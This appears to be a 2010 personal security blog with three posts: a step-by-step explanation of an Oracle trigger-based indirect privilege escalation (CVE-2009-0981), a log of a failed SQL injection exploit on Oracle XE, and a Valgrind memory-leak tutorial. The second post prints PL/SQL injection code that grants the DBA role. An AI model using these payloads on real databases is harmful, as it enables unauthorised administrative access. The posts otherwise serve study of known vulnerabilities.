Sunday, October 31, 2010

Oracle Indirect Privilege Escalation Attack

When come across this issues, the interesting part that catch my attention is the Indirect process. To me, i love the creativitiy! Let dive in with some basic understanding about Oracle.

What is Trigger in Oracle and how it works?
A trigger is a named PL/SQL unit that is stored in the database and executed (fired) in response to a specified event that occurs in the database.

It can be fired at exactly one of the following timing points:
--Before the triggering statement executes
--After the triggering statement executes
--Before each row that the triggering statement affects
--After each row that the triggering statement affects

The interesting trigger is the type with 'Before the triggering statement executes'. The Trigger will be executed even the triggering statemet failed. For example, a trigger has setup to be fired when 'drop table' command has executed. If restricted user try to launch the 'drop table' command and he will end up with insufficient privilege or acces denied. But the Trigger will be fired since it a "before" trigger. Such a unique feature has creatively exploited, and the exploitation turned into Indirect privilege escalation or so called 2-stages attack.

How Oracle Indirect privilege escalation works?
Let start to look at how 2-stages attack works. The real example happened in the case CVE-2009-0981 Oracle 10g MDSYS.SDO_TOPO_DROP_FTBL SQL Injection vulnerability.

Finding the culprit

1. Indentify who is the DBA, and the table owned by the him which granted the PUBLIC permission to insert into. Eg, SYSTEM.OL$ table, SYSTEM.DEF$_TEMP$LOB
2. Identify the user who posses the "CREATE ANY TRIGGER" privilege, for example MDSYS, this means MDSYS allows to create a trigger in any schema, expect to the objects that belongs to SYS.
3. Find any vulnerable trigger under the user, so we can inject code into it, for example MDSYS.SDO_TOPO_DROP_FTBL trigger which fired with "DROP TABLE" command. The trigger is vulnerable to code injection

1st stage

4. Inject crafted code into the vulnerable trigger, and execute it. For example, "DROP TABLE and 1=(scot.z)"

2nd stage
5. The crafted code (scot.z) will create our Trigger under SYSTEM schema, for example, our Trigger is the "before" trigger for the INSERT INTO TABLE statement. The trigger has crafted to execute with "AUTHID CURRENT_USER", that means it follows the table's owner role, which is DBA
6. Execute the command that need to fire the Trigger, for example "insert into system.DEF$_TEMP$LOB..."
7. Our trigger fired and the DBA role obtained!

Again, this attack not working with Oracle XE, as the difference between standard edition and XE.

It is good to study the msf code and clear several doubts in my head about the working mechanism

Saturday, October 30, 2010

Oracle XE Express Edition

Recently I have to deal with Oracle XE Express Edition, and it is the right time to take some note down after doing tons of reading about the topic, especially the long study to get the difference between Oracle and Oracle XE.

How to check the version number of an Oracle database?
(a) Use OUI (Oracle Universal Installer)
(b) select * from v$version;

What Is the Relation of a User Account and a Schema?
User accounts and schemas have a one-to-one relation. When you create a user, you are also implicitly creating a schema for that user. A schema is a logical container for the database objects (such as tables, views, triggers, and so on) that the user creates. The schema name is the same as the user name, and can be used to unambiguously refer to objects owned by the user.

1. CVE-2009-0981 Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Vulnerability
After the installation of fresh Oracle XE, I tried to play with CVE-2009-0981 Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection vulnerability. The exploit code from

The issue is about the COMPRESSWORKSPACETREE procedure sanitation issues and we can inject code into the proceduce and privilege escalation will success. The procedure has owned by SYS or WMSYS

The returned result always fail for me after several tries.

SQL*Plus: Release - Production on Sat Oct 30 23:57:21 2010

Copyright (c) 1982, 2005, Oracle. All rights reserved.

Enter user-name: user1
Enter password:

Connected to:
Oracle Database 10g Express Edition Release - Production

5 DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction;
begin execute immediate ''grant dba to scott'';commit;end;',0);
6 SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
7 SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
8 end;
9 /
SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
ERROR at line 6:
ORA-06550: line 6, column 1:
PLS-00201: identifier 'SYS.LT' must be declared
ORA-06550: line 6, column 1:
PL/SQL: Statement ignored
ORA-06550: line 7, column 1:
PLS-00201: identifier 'SYS.LT' must be declared
ORA-06550: line 7, column 1:
PL/SQL: Statement ignored

After several google time, I only realise there are big difference between Oracle Standard Edition and XE from For the case, COMPRESSWORKSPACETREE procedure belongs to LT packages under Oracle Workspace Manager. Unfortunately Oracle Workspace Manager not exists in Oracle XE! This is the reason why the exploit has failed and the vulnerability not even exist in Oracle XE.

Clear. Let move on!

2. SQL Injection via Oracle DBMS_EXPORT_EXTENSION in Oracle 9i / 10g
The vulnerability has found in Year 2006 and I gues it cant be find in wild now. But good news is the Oracle never have any Critical Patch Unit (CPU) for Oracle XE. So, this vulnerability exists and the exploit worked well!

Further details about this issues please refer to

My favor

To summarise the oracle exploitation methodology, this is my favor and one of the most comprehensive cheat sheet

Sunday, October 24, 2010

Memory leakage with Valgrind

" Valgrind - a suite of tools for debugging and profiling, currently includes six production-quality tools: a memory error detector, two thread error detectors, a cache and branch-prediction profiler, a call-graph generating cache and branch-prediction profiler, and a heap profiler. It also includes three experimental tools: a heap/stack/global array overrun detector, a second heap profiler that examines how heap blocks are used, and a SimPoint basic block vector generator", quote from Valgrind official website.

For the try out, I get this sample code from
int main()
char *p;
char *q;

// Allocation #1 of 19 bytes
q = (char *) malloc(19);

// Allocation #2 of 12 bytes
p = (char *) malloc(12);

// Allocation #3 of 16 bytes
p = (char *) malloc(16);

return 0;

Simply run the code with terminal
gento@local:~/debug/test$ valgrind -v --leak-check=full 
--show-reachable=yes --log-file=debug.log ./test

The output as here:
gento@local:~/debug/test$ cat debug.log 
==7505== Memcheck, a memory error detector
==7505== Copyright (C) 2002-2009, and GNU GPL'd, by Julian Seward et al.
==7505== Using Valgrind-3.5.0-Debian and LibVEX; rerun with -h for copyright info
==7505== Command: ./test
==7505== Parent PID: 2001
--7505-- Valgrind options:
--7505-- --suppressions=/usr/lib/valgrind/debian-libc6-dbg.supp
--7505-- -v
--7505-- --leak-check=full
--7505-- --show-reachable=yes
--7505-- --log-file=debug.log
--7505-- Contents of /proc/version:
--7505-- Linux version 2.6.31-14-generic (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009
--7505-- Arch and hwcaps: X86, x86-sse1-sse2
--7505-- Page sizes: currently 4096, max supported 4096
--7505-- Valgrind library directory: /usr/lib/valgrind
--7505-- Reading syms from /lib/ (0x4000000)
--7505-- Reading debug info from /lib/ ..
--7505-- .. CRC mismatch (computed 5ea3f4db wanted 846118b5)
--7505-- Reading debug info from /usr/lib/debug/lib/ ..
--7505-- Reading syms from /home/gento/debug/test/test (0x8048000)
--7505-- Reading syms from /usr/lib/valgrind/memcheck-x86-linux (0x38000000)
--7505-- object doesn't have a dynamic symbol table
--7505-- Reading suppressions file: /usr/lib/valgrind/debian-libc6-dbg.supp
--7505-- Reading suppressions file: /usr/lib/valgrind/default.supp
--7505-- REDIR: 0x4015e40 (index) redirected to 0x3803e013 (vgPlain_x86_linux_REDIR_FOR_index)
--7505-- Reading syms from /usr/lib/valgrind/ (0x401f000)
--7505-- Reading syms from /usr/lib/valgrind/ (0x4022000)
==7505== WARNING: new redirection conflicts with existing -- ignoring it
--7505-- new: 0x04015e40 (index ) R-> 0x040258c0 index
--7505-- REDIR: 0x4015ff0 (strlen) redirected to 0x4025bb0 (strlen)
--7505-- Reading syms from /lib/tls/i686/cmov/ (0x4039000)
--7505-- Reading debug info from /lib/tls/i686/cmov/ ..
--7505-- .. CRC mismatch (computed 17250532 wanted 2207db29)
--7505-- Reading debug info from /usr/lib/debug/lib/tls/i686/cmov/ ..
--7505-- REDIR: 0x40ac3f0 (rindex) redirected to 0x40257d0 (rindex)
--7505-- REDIR: 0x40a8920 (malloc) redirected to 0x4024b97 (malloc)
--7505-- REDIR: 0x40a8840 (free) redirected to 0x40247b1 (free)
==7505== HEAP SUMMARY:
==7505== in use at exit: 35 bytes in 2 blocks
==7505== total heap usage: 3 allocs, 1 frees, 47 bytes allocated
==7505== Searching for pointers to 2 not-freed blocks
==7505== Checked 52,324 bytes
==7505== 16 bytes in 1 blocks are definitely lost in loss record 1 of 2
==7505== at 0x4024C1C: malloc (vg_replace_malloc.c:195)
==7505== by 0x8048454: main (test.c:16)
==7505== 19 bytes in 1 blocks are definitely lost in loss record 2 of 2
==7505== at 0x4024C1C: malloc (vg_replace_malloc.c:195)
==7505== by 0x8048428: main (test.c:9)
==7505== LEAK SUMMARY:
==7505== definitely lost: 35 bytes in 2 blocks
==7505== indirectly lost: 0 bytes in 0 blocks
==7505== possibly lost: 0 bytes in 0 blocks
==7505== still reachable: 0 bytes in 0 blocks
==7505== suppressed: 0 bytes in 0 blocks
==7505== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 13 from 8)
--7505-- used_suppression: 13 dl-hack3-cond-1
==7505== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 13 from 8)

From the report, 2 blocks have found memory leakage issues with the "definitely lost" error message. This is due to the malloc() function that allocate 19bytes and 16 bytes memory heap area, but never free it after the execution. It happened at Allocation #1 and Allocation #2.

According to Valgrind user manual, common error message that may give us an insight about what is happening:
- "definitely lost": the application is leaking memory -- fix it!
- "probably lost": the application is leaking memory, unless you're doing funny things with pointers (such as moving them to point to the middle of a heap block).
- "indirectly lost": This means that the block is lost, not because there are no pointers to it, but rather because all the blocks that point to it are themselves lost. For example, if you have a binary tree and the root node is lost, all its children nodes will be indirectly lost. Because the problem will disappear if the definitely lost block that caused the indirect leak is fixed.Memcheck won't report such blocks individually unless --show-reachable=yes is specified.
- "still reachable": A start-pointer or chain of start-pointers to the block is found. Since the block is still pointed at, the programmer could, at least in principle, have freed it before program exit. Because these are very common and arguably not a problem. Memcheck won't report such blocks individually unless --show-reachable=yes is specified.

Effect of memory leakage
- Memory consumption keep increasing
- Denial of Service
- Very dangerous for kernel memory level as kernel memory is very limited compared to user memory.lead to serious instability